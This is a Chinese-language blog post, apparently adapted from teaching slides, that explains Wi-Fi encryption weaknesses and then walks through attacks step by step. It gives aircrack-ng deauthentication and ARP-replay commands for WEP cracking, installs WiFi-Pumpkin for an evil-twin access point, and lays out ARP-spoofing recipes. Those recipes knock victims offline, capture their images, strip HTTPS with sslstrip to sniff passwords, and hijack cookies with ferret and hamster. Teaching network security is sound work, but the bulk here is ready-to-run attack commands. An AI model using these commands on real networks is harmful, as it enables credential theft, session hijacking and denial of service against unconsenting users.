有幸给学弟学妹们上了一次课,记录一下学习过程以及把ppt转化成blog吧。
破解原理
无线网络中信号不会定向的传给每个设备,就是说AP发射的信号每个网卡都能够接收到,但是在正常情况下只有是自己的数据包才会接受,但是如果我们改一下网卡的模式,就能够让它接收周围所有的无线数据包,所以,没有加密的无线是毫无安全性可言的,因为任何在范围内的设备都能获取到包的内容,如果使用加密的无线,即使获取到也只是加密后的数据。
然后现在连无线大致就是两种:
1 2 3 4 5 6 7 8 9 10 11 12
| (1) 客户端:我是自己人,要连接你 服务端:好的,那你连吧|骗我呢,不准连 (2) 客户端:我是自己人,要连接你 服务端:我不信,自己人都有密码,你把密码发给我看看 客户端:好吧,密码是12345678 黑客:得到密码啦 可能么?在认证时候是信息都是明文传输的,如果直接传密码都能够得到,其实是 客户端:我是自己人,要连接你 服务端:我不信,自己人都有密码,你用密码把45212345这个给我加密了 客户端:好的,加密后的密文是453154312 服务端:用密码解密后,还是45212345就允许连接,否则不允许
|
然后现在的加密就是WEP,WPA,WPA2等等,下面分别介绍:
1 2 3 4
| WEP,它使用RC4加密,加密数据用的密码是“WiFi的密码+iv”,iv是随机生成的,对方不知道,所以需要通过明文发送,因为iv只有200多种,而加密用的iv可以直接读到,所以如果收到的大量的数据包就会有使用了重复iv的数据包(大于254就绝对会有重复的),那么用那两个加密的数据包去异或就会得到明文的异或。。。最终就能得到密码,所以WEP加密绝对能够被破解。 WPA,就是针对WEP缺点的改进。使用了更加好的加密算法,iv的取值也变成很多,很难得到重复的,加密数据的密码是“WiFi密码+WiFi名字+其他”,他只能用暴力破解,而且不能跑彩虹表(因为这里面有WiFi名称这个元素),如果你确定目标永远不会改WiFi名称,其实也是可以自己根据名称生成彩虹表来跑的。它有两种,要么使用认证服务器(安全性高,企业用)要么使用预共享秘钥(安全性相对较低,家庭等使用),我们一般也是使用psk这种。 WPA2,就是wpa的升级版,加密算法使用了更好的。 WPS,应该是配合前面的加密吧。为了解决前面使用认证复杂而产生的。分两种验证方式,要么使用pin码,就是自己的客户端生成一个pin码,在路由器端输入这个pin码就可以完成认证,还有就是使用按钮,例如手机上点一下那个按钮,然后在路由器上也按一下,就能完成认证。不过它的pin码设计上有缺陷,只要尝试1万多次就能得到,然后通过pin能得到WiFi密码。
|
现在来看看抓包的样子:
开启网卡的混杂模式(监听模式)后抓包
看到抓到的包都是802.11协议的包,这是因为周围的无线都是加密的,我开了个没加密的,就可以看到协议变了,也能够看到内容了
如果是wep,wpa/psk加密,如果有密码还可以直接使用它解包看内容
WEP
本实验需要外接一个无线网卡
1.关闭网络管理以及可能会干扰airmon-ng工作的进程
1 2
| service network-manager stop airmon-ng cherk kill
|
2.查看要监听的无线网卡
我们选择监听wlan0网卡
3.开始监听
4.查看周围无线设备
如果抓到了密钥流信息,第一个红色箭头会有信息显示
5.针对特定ap进行监听
1
| airodump-ng wlan0mon --bssid AP_Mac -c [AP_channel] -w [result_file]
|
6.因为密钥信息会在连接刚开始验证的时候交换,所以对某个已经连接的客户端实施断开连接打击,直到抓到密钥流
1
| aireplay-ng -0 2 -a [AP_Mac] -c [Client_Mac] wlan0mon
|
-0表示deaulth攻击,可以把已经连接好的客户端断开,2表示攻击两次
可以看到已经抓到了密钥流,此时会在目录下生成一个*.xor文件
7.通过密钥文件与ap建立关联关系
1
| aireplay-ng -1 60 -e [essid] -y wep*.xor -a [AP_Mac] -h [Wlan0mon_Mac] wlan0mon
|
此处-h后面参数跟wlan0mon的mac前6串即可
8.通过arp重放,来抓到更多的信息
1
| aireplay-ng -3 -b [AP_mac] -h [wlan0mon-mac] wlan0mon
|
可以发现监听窗口里data
值越来越多(这个越多,破解速度越快,难度越低)
9.差不多了就可以开始破解了
WPA
目前WPA只能靠暴力跑字典来破解,但是效率又很低下。所以不一定能破解出来,虽说WPA2已经有了密钥重装攻击,但是感觉这个协议还是很安全的。
步骤与破解WEP差不多,只不过不需要第7,8两步,这里就不重复写了。
钓鱼wifi
wifi-pumpkin
邪恶双子星,逼格很高的名字,通俗的说就是钓鱼WiFi。配置方法超级多,今天说下最简单的之一吧do u like me?a u ok?。装备就是要两张网卡,虚拟机可以虚拟一张,无线网卡需要自配。
安装方法,输入以下命令
1 2 3 4
| 1. git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git 2.cd WiFi-Pumpkin 3.chmod +x installer.sh 4../installer.sh –install
|
安装好了之后在目录下运行
目前该工具还刚开始玩,有很多功能并不熟悉,只能结束一下最简单的功能,以后再继续补充。
setting
页面只需要简单配置一下ssid,信道的话随便填,之后就可以start了。
目前主要用的两个地方:
1.Driftnet功能
主要用来查看监听的流量中的图片
2.Activity-Monitor模块
主要用来查看监听流量的请求信息
中间人攻击
arp欺骗原理如下图:
内网断网攻击
1 2 3
| 第一步:查找目标IP地址 fping -asg 192.168.1.0/24 第二步:查看网关ip route -n 第三步:断网攻击:arpspoof -i 网卡 -t 受害者IP 网关IP
|
主要是使用arpsoof
工具实现欺骗和截断
截取照片
1 2 3
| 第一步:开启IP流量转发 echo 1 > /proc/sys/net/ipv4/ip_forward 第二步:ARP欺骗: arpspoof -i 网卡 网关IP 受害者IP 第三步:抓取图片:driftnet -i 网卡
|
如果不开启ip流量转发,那么和断网攻击效果一样。用到的工具除了arpspoof
,还有driftnet
工具,主要用来抓取图片的,上面钓鱼wifi里有讲到这个工具
截取https账号
1 2 3 4 5
| 第一步:配置文件:vim /etc/ettercap/etter.conf 删除Linux最后两段前的#号 第二步:过滤数据包:iptables -t nat -A PREROUTING -p tcp -i eth0 --destination-port 80 -j REDIRECT --to-port 10000 第三步:ARP欺骗:arpspoof -i 网卡 网关ip 受害者ip 第四步:扒皮:sslstrip -a -f -k 或 sslstrip -l 10000 第五步:开始嗅探:ettercap -Tq -i 网卡
|
主要用到了sslstrip
工具用来脱ssl层
,以及用ettercap
工具来嗅探账号密码
截取cookie
1 2 3 4 5 6 7
| 第一步:开启IP转发:echo 1 > /proc/sys/net/ipv4/ip_forward 第二步:ARP欺骗: arpspoof -i 网卡 网关IP 受害者IP 第三步:抓包:wireshark 或者 tcpdump -i eth0 -w cookie.cap 第四部:等待受害人登陆 第五部:处理抓取的数据包:ferret -r cookie.cap 第六步:开启hamster服务:hamster 第七步:设置代理:127.0.0.1:1234
|
主要其实还是找到对方的登陆cookie来替换自己的,从而获得权限